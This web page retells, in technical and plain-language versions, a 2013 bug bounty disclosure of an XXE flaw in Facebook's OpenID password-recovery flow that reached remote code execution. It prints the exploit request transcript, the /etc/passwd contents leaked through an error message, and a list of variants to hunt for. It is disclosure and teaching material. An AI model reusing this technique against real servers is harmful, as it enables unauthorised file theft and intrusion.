XXE in OpenID: one bug to rule them all, or how I found a Remote Code Execution flaw affecting Facebook's servers
Published on ubercomp.com
Hi, since I don't write much, let me first introduce myself. My name is Reginaldo Silva and I'm a brazilian computer engineer.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
In September 2012 Reginaldo Silva found an XML External Entity (XXE) expansion bug in the part of Drupal that handled OpenID. XXE lets an attacker read files on the filesystem, make arbitrary network connections, and run a billion laughs denial of service against the server. He reported it immediately and it was assigned CVE-2012-4554.
Five days later it occurred to him that OpenID was heavily used elsewhere. He checked the StackOverflow login form and found it vulnerable to the whole thing, file reading included. He then looked for OpenID handling code inside Google's servers: he could not read files or open network connections there, but both App Engine and Blogger were vulnerable to the DoS. That earned him his first Google bounty, US$ 500.
Further testing showed the same bug affected many implementations, in Java, C#, PHP, Ruby, Python and Perl among others. He contacted (or tried to contact) every OpenID library author and then wrote to the member-only security list at the OpenID foundation with the subject "One bug to rule them all: many implementations of OpenID are vulnerable to XXE". He does not publish the PoC because many servers were still vulnerable at the time of writing.
The Facebook angle: he knew Facebook had allowed OpenID login in the past. A Google search showed that in the past you could use something like:
https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false
but consumer_helper.php was gone, so for more than a year he assumed Facebook was not vulnerable.
Setup
The feature involved is Facebook's Forgot your password? flow. One way to prove you own an @gmail.com account is to log into Gmail and authorise Facebook to get basic information such as your email and name. In practice you are logging into Facebook using your Gmail account, and that login happens over OpenID. Facebook is the OpenID Relying Party (RP) and Google is the OpenID Provider (OP).
The report gives http://www.ubercomp.com/ as an example of an OP under the attacker's control. The exploit script is run from a shell (bash exploit.sh) and talks to www.facebook.com over plain HTTP on port 80.
Finding it
While testing the Forgot your password? functionality he saw a request to:
https://www.facebook.com/openid/receiver.php
That made him suspect Facebook was vulnerable to the same XXE.
The obstacle: for the bug to work, the RP (Facebook) has to make a Yadis discovery request to an OP under the attacker's control, for example http://www.ubercomp.com/. The malicious OP then sends a response containing rogue XML that the RP parses, and the XXE fires. But the initial OpenID request is a redirect from Facebook to Google that happens without the user's intervention, so there was no place to enter a URL under his control as the OpenID identifier and have Facebook send a Yadis discovery request to it. He thought the bug could only be triggered if Google could be made to send Facebook malicious XML, which was very unlikely.
Reading the OpenID 2.0 Specification more carefully, he found section 11.2, Verifying Discovered Information:
"If the Claimed Identifier was not previously discovered by the Relying Party (the "openid.identity" in the request was "http://specs.openid.net/auth/2.0/identifier_select" or a different Identifier, or if the OP is sending an unsolicited positive assertion), the Relying Party MUST perform discovery on the Claimed Identifier in the response to make sure that the OP is authorized to make assertions about the Claimed Identifier".
He checked and the openid.identity in the request was indeed http://specs.openid.net/auth/2.0/identifier_select, a very common practice. So after a few minutes he could make a request to https://www.facebook.com/openid/receiver.php that caused Facebook to perform a Yadis discovery on a URL under his control, whose response contained malicious XML.
He knew he had an XXE because telling Facebook's server to open /dev/random made the response never come, and a request killer eventually kicked in after a few minutes. He still could not read file contents. He tried everything in the XXE bag of tricks, including weird combinations involving parameter entities, with no result. Then he realised there was a subtle bug in his exploit. He fixed it and ran the script.
Exploitation
Step 1: trigger the XXE and read a file
$ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
* Trying 31.13.75.1... connected
* Connected to www.facebook.com ([redacted]) port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
&context=account_recovery&protocol=http&request_id=1
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
>
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:
http://fb.me/p3p"
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location: http://www.facebook.com/openid/xrds.php
< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT;
path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
%3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
%26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
%252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
%3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
%26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
%252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
path=/; domain=.facebook.com
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script>
function envFlush(a) {
function b(c) {
for (var d in a) c[d] = a[d];
}
if (window.requireLazy) {
window.requireLazy(['Env'], b);
} else {
Env = window.Env || {};
b(Env);
}
}
envFlush({
"user": "0"
});
<title>Facebook</title>
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&
Bootloader.done(["ASVup"]);</script>
</head>
<body class="Locale_en_US">
<script type="text/javascript">
Bootloader.setResourceMap({
"\/2NZV": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
},
"GduTW": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
}
});
</script>
<script type="text/javascript">
require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);
</script>
<script type="text/javascript">
Bootloader.configurePage([]);
Bootloader.done([]);
require("InitialJSLoader").handleServerJS({
"require": [
["OnloadHooks"],
["lowerDomain"]
]
});
onloadRegister_DEPRECATED(function () {
openid_submit_response({
"__ar": 1,
"error": 1428005,
"errorSummary": "Error while processing response",
"errorDescription": {
"__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
...(REDACTED)..."
},
"payload": null,
"bootloadable": {},
"ixData": []
}, 1)
});
</script>
</body>
</html>
* Connection #0 to host www.facebook.com left intact
* Closing connection #0
The request goes to /openid/receiver.php with context=account_recovery, protocol=http, request_id=1, openid.ns set to the OpenID 2.0 namespace, openid.mode=id_res and an openid.op_endpoint value that is redacted in the transcript. Facebook answers with a page whose openid_submit_response call contains an error: no matching endpoint was found after discovering http://www.ubercomp.com/..., and an OP Endpoint mismatch, expected http://www.ubercomp.com/... but got http://www.ubercomp.com/.../?x= followed by the contents of /etc/passwd. The file contents appear inside the error description in the response.
Step 2: escalate to RCE
By then he had the ability to read (almost) any file and open arbitrary network connections from the point of view of the Facebook server, not going through any kind of proxy. He wanted a full remote execution.
He notes that many bug bounty programs sensibly ask you to report at once and let the security team consider the worst case. He did not know whether Facebook would treat the bug as RCE, so he reported it right away, asked for permission to try to escalate, and planned to work on the escalation while the bug was being fixed. He went out for lunch intending to continue when he came back.
When he returned, a quick fix was already in place, less than two hours after the initial report. Since he knew how he would escalate to RCE, he told the security team what he would do and trusted them to test it honestly. After a few back and forth emails, the security team confirmed the attack was sound and that he had found a RCE affecting their servers. The report does not describe the escalation technique itself, only that it was sent with file paths and example requests.
Root cause
The bug is an XXE: the OpenID Relying Party parses XML from the OpenID Provider, and an attacker-controlled OP can make the RP resolve entities that read local files or open network connections. The design detail that made it reachable on Facebook is in the OpenID 2.0 specification, section 11.2: when the Claimed Identifier was not previously discovered by the RP, which is the case when openid.identity is http://specs.openid.net/auth/2.0/identifier_select, the RP must perform discovery on the Claimed Identifier in the response. The openid.identity in the request was identifier_select, so the response from the OP drove a Yadis discovery request to a URL the attacker controlled, and the response to that request carried the malicious XML. The report does not show the parser configuration or the code, so the exact reason external entities were enabled is not stated.
Impact
Through the Facebook server's point of view the attacker could read (almost) any file and open arbitrary network connections, without going through any kind of proxy. The researcher escalated this to remote code execution on Facebook's servers, which the security team confirmed.
Fix
Facebook put a short term fix in place the same day, live roughly 30 minutes after it was announced, and the researcher confirmed it was patched. A longer term fix was reported in place on 2013-12-03.
Variants to test
- Other OpenID Relying Parties that accept
openid.identityofhttp://specs.openid.net/auth/2.0/identifier_selectand then perform discovery on the Claimed Identifier in the response. A positive result is an outbound Yadis discovery request from the RP to a host you control. - Any RP that parses OP responses with external entities enabled. A positive result is a file read reflected in an error message, as happened here with
/etc/passwd, or a hang when pointing an entity at/dev/random. - Libraries in other languages that handle OpenID, since the same bug affected implementations in Java, C#, PHP, Ruby, Python and Perl. A positive result is the same file read or outbound connection from the parsing process.
- Denial of service through the billion laughs attack against OpenID parsers. A positive result is resource exhaustion or a stalled response.
Timeline
All timestamps are in GMT; a few unimportant interactions about the acknowledgements page are omitted.
| Time | Event |
|---|---|
| 2013-11-19 3:51 pm | Initial report |
| 2013-11-19 5:37 pm | Bug acknowledged by security team member Godot |
| 2013-11-19 5:46 pm | Researcher replied with a PoC to read arbitrary files |
| 2013-11-19 7:31 pm | Security team member Emrakul said a short term fix was in place and would be live in about 30 minutes |
| 2013-11-19 8:27 pm | Researcher confirmed the bug was patched |
| 2013-11-21 8:03 pm | Payout set; the security team said it was their biggest bounty payout to date |
| 2013-11-22 2:13 am | Researcher asked whether the bug was considered RCE or just file disclosure |
| 2013-11-23 1:17 am | Security team replied they did not consider the attack could be escalated to RCE |
| 2013-11-23 7:54 pm | Researcher explained exactly how the attack could be escalated to RCE, with file paths and example requests |
| 2013-11-24 9:23 pm | Facebook replied that the attack worked and they would have to work around it |
| 2013-12-03 4:45 am | Facebook said the longer term fix was in place and a meeting would discuss a new bounty amount |
| 2013-12-03 7:14 pm | Researcher thanked them |
| 2013-12-13 1:04 pm | Researcher found a Bloomberg article quoting Ryan McGeehan, who managed Facebook's incident response unit, saying "If there's a million dollar bug, we will pay it out", and asked for news |
| 2013-12-30 4:45 am | Facebook said that since the bug was now considered RCE the payout would be higher |
The researcher does not disclose the amount, and notes he did not get close to the one-million dollar payout cited above; he quoted Mr. McGeehan mostly as a joke. The Facebook security team wrote their side of the story.
What happened, in plain words
A security researcher named Reginaldo Silva found a way to make Facebook's own servers hand him files that live on those servers, including the list of user accounts stored in a system file called /etc/passwd. He then worked out how that same weakness could be pushed further, until Facebook's security team confirmed he could have run his own code on their machines. That last step is called Remote Code Execution, or RCE: an attacker gets a program of their choosing to run on someone else's computer.
The weakness at the heart of it is called XXE, short for XML External Entity. XML is a text format for structured data, a bit like a very strict form where every value sits between an opening tag and a closing tag. XML has a feature that lets a document say "and here, insert the contents of this other thing", where the other thing can be a file on the machine reading the document. If a program parses XML from an untrusted source and leaves that feature switched on, the person who wrote the XML can ask the parser to paste in, say, /etc/passwd, and the program may then show it back. A simple comparison: imagine a form that says "write your name here", and someone writes "the contents of the office safe", and the clerk dutifully opens the safe and copies the contents onto the form.
The route into Facebook was OpenID, a system that lets one website trust another website's login. Facebook's "Forgot your password?" page offered to prove you owned a Gmail address by having you log into Google and letting Facebook receive basic details such as your email and name. Under the hood, Facebook was the party receiving a login confirmation (the Relying Party, RP) and Google was the party issuing it (the OpenID Provider, OP). The researcher used an OP under his control, given in the report as http://www.ubercomp.com/, and found a way to make Facebook talk to it, so that Facebook would parse XML he controlled.
He reported the file-reading bug, and Facebook fixed it within about two hours. He then explained, in email, how he would have escalated it to running code, and Facebook confirmed the escalation worked. The payout was raised because the bug was reclassified as RCE. The report does not state the amount.
Background: the same bug in Drupal, StackOverflow and Google
Before Facebook, the story starts in September 2012. The researcher found an XXE bug in Drupal, a popular system for building websites, specifically in the part of Drupal that handled OpenID. He reported it straight away and it was assigned CVE-2012-4554. A CVE is a public catalogue number for a known security flaw, so that everyone can refer to the same bug by the same name.
XXE is a versatile bug. As the researcher puts it, it lets an attacker read files on the filesystem, make arbitrary network connections, and run a denial of service against the server using the billion laughs attack. A denial of service means making a service so busy or so slow that real users cannot use it. Billion laughs is a trick where a small XML document expands into an enormous amount of work for the parser, like a tiny seed that grows into a forest.
Five days later it occurred to him that OpenID was used in many places, not just Drupal. He checked the StackOverflow login form and found it vulnerable to the whole thing, file reading included. He then looked for OpenID handling code running inside Google's servers. There he could not read files or open network connections, but both App Engine and Blogger were vulnerable to the denial of service. That earned him his first Google bounty of US$ 500. A bounty is a reward a company pays to someone who reports a security problem responsibly.
Further testing showed the same bug affected many implementations of OpenID, written in Java, C#, PHP, Ruby, Python and Perl among others. An implementation here means a particular piece of software that follows the OpenID rules. He contacted, or tried to contact, every OpenID library author, and then wrote to the member-only security list at the OpenID foundation with the subject "One bug to rule them all: many implementations of OpenID are vulnerable to XXE". He does not publish the proof of concept, the working exploit code, because many servers were still vulnerable at the time of writing.
The Facebook angle: an old endpoint that had disappeared
He knew Facebook had allowed OpenID login in the past. A Google search showed that in the past you could use something like:
https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false
This is a URL, the address you type into a browser's address bar. Everything after the question mark is a set of parameters, name and value pairs that tell the page what you want. openid.mode=checkid_setup asks to begin an OpenID login, and user_claimed_id=YOUR_CLAIMED_ID_HERE is where you would put the address that identifies you to the OpenID system. The report quotes this old URL but does not analyse its parameters.
But consumer_helper.php was gone, so for more than a year he assumed Facebook was not vulnerable.
Setting up: the password recovery flow
The feature involved is Facebook's Forgot your password? flow. One way to prove you own an @gmail.com account is to log into Gmail and authorise Facebook to get basic information such as your email and name. In practice you are logging into Facebook using your Gmail account, and that login happens over OpenID. Facebook is the OpenID Relying Party (RP) and Google is the OpenID Provider (OP).
To follow the attack you need two ideas. First, discovery: before trusting an OP, the RP looks up the OP's address to check it really is who it claims to be. In OpenID this lookup is called Yadis discovery, and it is an ordinary web request from the RP to the OP's address. Second, the report gives http://www.ubercomp.com/ as an example of an OP under the attacker's control, so requests Facebook made there could be answered by the attacker.
The exploit script is run from a shell, a text window where you type commands, with bash exploit.sh, and it talks to www.facebook.com over plain HTTP on port 80. HTTP is the language browsers and servers use to exchange pages and data; port 80 is the standard door for unencrypted HTTP.
Finding it: a request to receiver.php
While testing the Forgot your password? functionality he saw a request to:
https://www.facebook.com/openid/receiver.php
The report shows this URL but does not describe what the page does. Seeing it made him suspect Facebook was vulnerable to the same XXE, because a page that receives and processes XML from another party is exactly where an XXE would live.
The obstacle: for the bug to work, the RP (Facebook) has to make a Yadis discovery request to an OP under the attacker's control, for example http://www.ubercomp.com/. The malicious OP then sends a response containing rogue XML that the RP parses, and the XXE fires. But the initial OpenID request is a redirect from Facebook to Google that happens without the user's intervention, so there was no place to enter a URL under his control as the OpenID identifier and have Facebook send a Yadis discovery request to it. He thought the bug could only be triggered if Google could be made to send Facebook malicious XML, which was very unlikely.
Reading the OpenID 2.0 Specification more carefully, he found section 11.2, Verifying Discovered Information:
"If the Claimed Identifier was not previously discovered by the Relying Party (the "openid.identity" in the request was "http://specs.openid.net/auth/2.0/identifier_select" or a different Identifier, or if the OP is sending an unsolicited positive assertion), the Relying Party MUST perform discovery on the Claimed Identifier in the response to make sure that the OP is authorized to make assertions about the Claimed Identifier".
In plain words: if the RP has not already looked up the identity being claimed, it must do the lookup using the identity named in the response. The value http://specs.openid.net/auth/2.0/identifier_select is a special marker meaning "let the provider choose which identity to use", a very common practice. When that marker is used, the identity in the response is not something the RP has seen before, so the rule kicks in and the RP goes off to look it up. If the attacker controls the OP, the attacker controls what identity appears in the response, and therefore controls where the RP goes looking.
He checked and the openid.identity in the request was indeed http://specs.openid.net/auth/2.0/identifier_select. So after a few minutes he could make a request to https://www.facebook.com/openid/receiver.php that caused Facebook to perform a Yadis discovery on a URL under his control, whose response contained malicious XML.
He knew he had an XXE because telling Facebook's server to open /dev/random made the response never come, and a request killer eventually kicked in after a few minutes. /dev/random is a special file on Linux systems that produces random data and can block, that is, make the reader wait, when it runs out of randomness. A request killer is a safety mechanism that cuts off requests that take too long. A hang like that is a strong hint that the server is reading a file on your behalf.
He still could not read file contents. He tried everything in the XXE bag of tricks, including weird combinations involving parameter entities, with no result. An entity is the XML feature that says "insert this other thing here"; a parameter entity is a variant used inside the document's own declarations. Then he realised there was a subtle bug in his exploit. He fixed it and ran the script.
Exploitation, step 1: trigger the XXE and read a file
$ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
* Trying 31.13.75.1... connected
* Connected to www.facebook.com ([redacted]) port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
&context=account_recovery&protocol=http&request_id=1
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
>
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:
http://fb.me/p3p"
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location: http://www.facebook.com/openid/xrds.php
< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT;
path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
%3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
%26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
%252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
%3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
%26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
%252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
path=/; domain=.facebook.com
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script>
function envFlush(a) {
function b(c) {
for (var d in a) c[d] = a[d];
}
if (window.requireLazy) {
window.requireLazy(['Env'], b);
} else {
Env = window.Env || {};
b(Env);
}
}
envFlush({
"user": "0"
});
<title>Facebook</title>
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&
Bootloader.done(["ASVup"]);</script>
</head>
<body class="Locale_en_US">
<script type="text/javascript">
Bootloader.setResourceMap({
"\/2NZV": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
},
"GduTW": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
}
});
</script>
<script type="text/javascript">
require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);
</script>
<script type="text/javascript">
Bootloader.configurePage([]);
Bootloader.done([]);
require("InitialJSLoader").handleServerJS({
"require": [
["OnloadHooks"],
["lowerDomain"]
]
});
onloadRegister_DEPRECATED(function () {
openid_submit_response({
"__ar": 1,
"error": 1428005,
"errorSummary": "Error while processing response",
"errorDescription": {
"__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
...(REDACTED)..."
},
"payload": null,
"bootloadable": {},
"ixData": []
}, 1)
});
</script>
</body>
</html>
* Connection #0 to host www.facebook.com left intact
* Closing connection #0
This block is a transcript of the script talking to Facebook, in the style of the curl tool, a command-line program for fetching web pages. Lines starting with > are what the script sent; lines starting with < are what Facebook sent back.
$ bash exploit.shruns the script.- The
*lines are connection notes: the script resolvedwww.facebook.comto an address and opened a connection on port 80. - The
GETline is the request: it asks for/openid/receiver.phpwith several parameters.provider_id=1010459756371identifies the provider,context=account_recoverysays this is the password recovery flow,protocol=httpsays the provider is reached over plain HTTP, andrequest_id=1ties the request to a login attempt. openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0declares which version of the OpenID rules is in use. The%3Aand%2Fare percent-encoding, a way of writing characters such as:and/inside a URL so they are not confused with the URL's own punctuation.openid.mode=id_ressays this is an identity response, the message where the provider tells the relying party who the user is.openid.op_endpoint=...(redacted)...names the provider's address, which in this attack was the researcher's own server.Host,AcceptandUser-Agentare ordinary request headers, small labels that travel with every web request.User-Agent: Chromemakes the request look like it came from a Chrome browser.- The
<lines are the response headers.HTTP/1.1 200 OKmeans the request succeeded.Cache-Control,ExpiresandPragmatell browsers and caches not to store the page.X-Frame-Options: DENYstops the page being embedded in another site.X-XRDS-Locationpoints to Facebook's own discovery document.X-XSS-Protection: 0switches off a browser filter. - The
Set-Cookielines are the server handing the browser small pieces of data to send back next time. A cookie is like a claim ticket: the server gives it to you, you show it again on your next visit, and the server remembers who you are.datris one such cookie, andreg_fb_gateandreg_fb_refrecord which page you came from. The values here are redacted. - After the blank line comes the page body, ordinary Facebook HTML with its scripts.
- The important part is the
openid_submit_responsecall near the end. It carries"error": 1428005and"errorSummary": "Error while processing response", and then anerrorDescriptionthat says no matching endpoint was found after discoveringhttp://www.ubercomp.com/..., followed by an OP Endpoint mismatch: it expectedhttp://www.ubercomp.com/...but gothttp://www.ubercomp.com/.../?x=followed by the contents of/etc/passwd.
That last detail is the whole trick. /etc/passwd is a plain text file on Linux systems that lists the user accounts, one per line, with fields separated by colons. The first line, root:x:0:0:root:/root:/bin/bash, is the superuser account. The file contents appeared in the address being compared, so Facebook's own error message printed the file back to him. This is called exfiltration: getting data out of a system through a channel the system itself provides. The error message was the channel.
Exploitation, step 2: escalate to RCE
By then he had the ability to read almost any file and open arbitrary network connections from the point of view of the Facebook server, not going through any kind of proxy. A proxy is an intermediary that sits between a server and the outside world and filters traffic; going around it means the server's own network position could be abused. He wanted a full remote execution, meaning running his own commands on the machine.
He notes that many bug bounty programs sensibly ask you to report at once and let the security team consider the worst case. He did not know whether Facebook would treat the bug as RCE, so he reported it right away, asked for permission to try to escalate, and planned to work on the escalation while the bug was being fixed. He went out for lunch intending to continue when he came back.
When he returned, a quick fix was already in place, less than two hours after the initial report. Since he knew how he would escalate to RCE, he told the security team what he would do and trusted them to test it honestly. After a few back and forth emails, the security team confirmed the attack was sound and that he had found a RCE affecting their servers. The report does not describe the escalation technique itself, only that it was sent with file paths and example requests.
Why it worked
The bug is an XXE: the OpenID Relying Party parses XML from the OpenID Provider, and an attacker-controlled OP can make the RP resolve entities that read local files or open network connections. Think of the parser as a clerk who follows written instructions literally, including "go and fetch the contents of this file", when the instructions came from a stranger.
The design detail that made it reachable on Facebook is in the OpenID 2.0 specification, section 11.2: when the Claimed Identifier was not previously discovered by the RP, which is the case when openid.identity is http://specs.openid.net/auth/2.0/identifier_select, the RP must perform discovery on the Claimed Identifier in the response. The openid.identity in the request was identifier_select, so the response from the OP drove a Yadis discovery request to a URL the attacker controlled, and the response to that request carried the malicious XML.
What it meant
Through the Facebook server's point of view the attacker could read almost any file and open arbitrary network connections, without going through any kind of proxy. The researcher escalated this to remote code execution on Facebook's servers, which the security team confirmed.
The fix
Facebook put a short term fix in place the same day, live roughly 30 minutes after it was announced, and the researcher confirmed it was patched. A longer term fix was reported in place on 2013-12-03.
Other places to look
- Other OpenID Relying Parties that accept
openid.identityofhttp://specs.openid.net/auth/2.0/identifier_selectand then perform discovery on the Claimed Identifier in the response. A positive result is an outbound Yadis discovery request from the RP to a host you control. - Any RP that parses OP responses with external entities enabled. A positive result is a file read reflected in an error message, as happened here with
/etc/passwd, or a hang when pointing an entity at/dev/random. - Libraries in other languages that handle OpenID, since the same bug affected implementations in Java, C#, PHP, Ruby, Python and Perl. A positive result is the same file read or outbound connection from the parsing process.
- Denial of service through the billion laughs attack against OpenID parsers. A positive result is resource exhaustion or a stalled response.
Timeline
All timestamps are in GMT; a few unimportant interactions about the acknowledgements page are omitted.
| Time | Event |
|---|---|
| 2013-11-19 3:51 pm | Initial report |
| 2013-11-19 5:37 pm | Bug acknowledged by security team member Godot |
| 2013-11-19 5:46 pm | Researcher replied with a PoC to read arbitrary files |
| 2013-11-19 7:31 pm | Security team member Emrakul said a short term fix was in place and would be live in about 30 minutes |
| 2013-11-19 8:27 pm | Researcher confirmed the bug was patched |
| 2013-11-21 8:03 pm | Payout set; the security team said it was their biggest bounty payout to date |
| 2013-11-22 2:13 am | Researcher asked whether the bug was considered RCE or just file disclosure |
| 2013-11-23 1:17 am | Security team replied they did not consider the attack could be escalated to RCE |
| 2013-11-23 7:54 pm | Researcher explained exactly how the attack could be escalated to RCE, with file paths and example requests |
| 2013-11-24 9:23 pm | Facebook replied that the attack worked and they would have to work around it |
| 2013-12-03 4:45 am | Facebook said the longer term fix was in place and a meeting would discuss a new bounty amount |
| 2013-12-03 7:14 pm | Researcher thanked them |
| 2013-12-13 1:04 pm | Researcher found a Bloomberg article quoting Ryan McGeehan, who managed Facebook's incident response unit, saying "If there's a million dollar bug, we will pay it out", and asked for news |
| 2013-12-30 4:45 am | Facebook said that since the bug was now considered RCE the payout would be higher |
The researcher does not disclose the amount, and notes he did not get close to the one-million dollar payout cited above; he quoted Mr. McGeehan mostly as a joke. The Facebook security team wrote their side of the story.
Glossary
- XXE (XML External Entity): a bug where a program parses XML from an untrusted source with a feature enabled that lets the XML pull in outside content, such as a local file or a network address.
- XML: a text format for structured data, where values sit between opening and closing tags.
- Entity: an XML feature that says "insert this other content here"; a parameter entity is a variant used inside the document's own declarations.
- Remote Code Execution (RCE): an attack where the attacker gets their own code to run on someone else's computer.
- Denial of service (DoS): making a service so busy or slow that real users cannot use it.
- Billion laughs: an XML trick where a small document expands into an enormous amount of work for the parser.
- CVE: a public catalogue number for a known security flaw, so everyone can refer to the same bug by the same name.
- OpenID: a system that lets one website trust another website's login.
- Relying Party (RP): the website that receives and trusts a login confirmation from an OpenID Provider; here, Facebook.
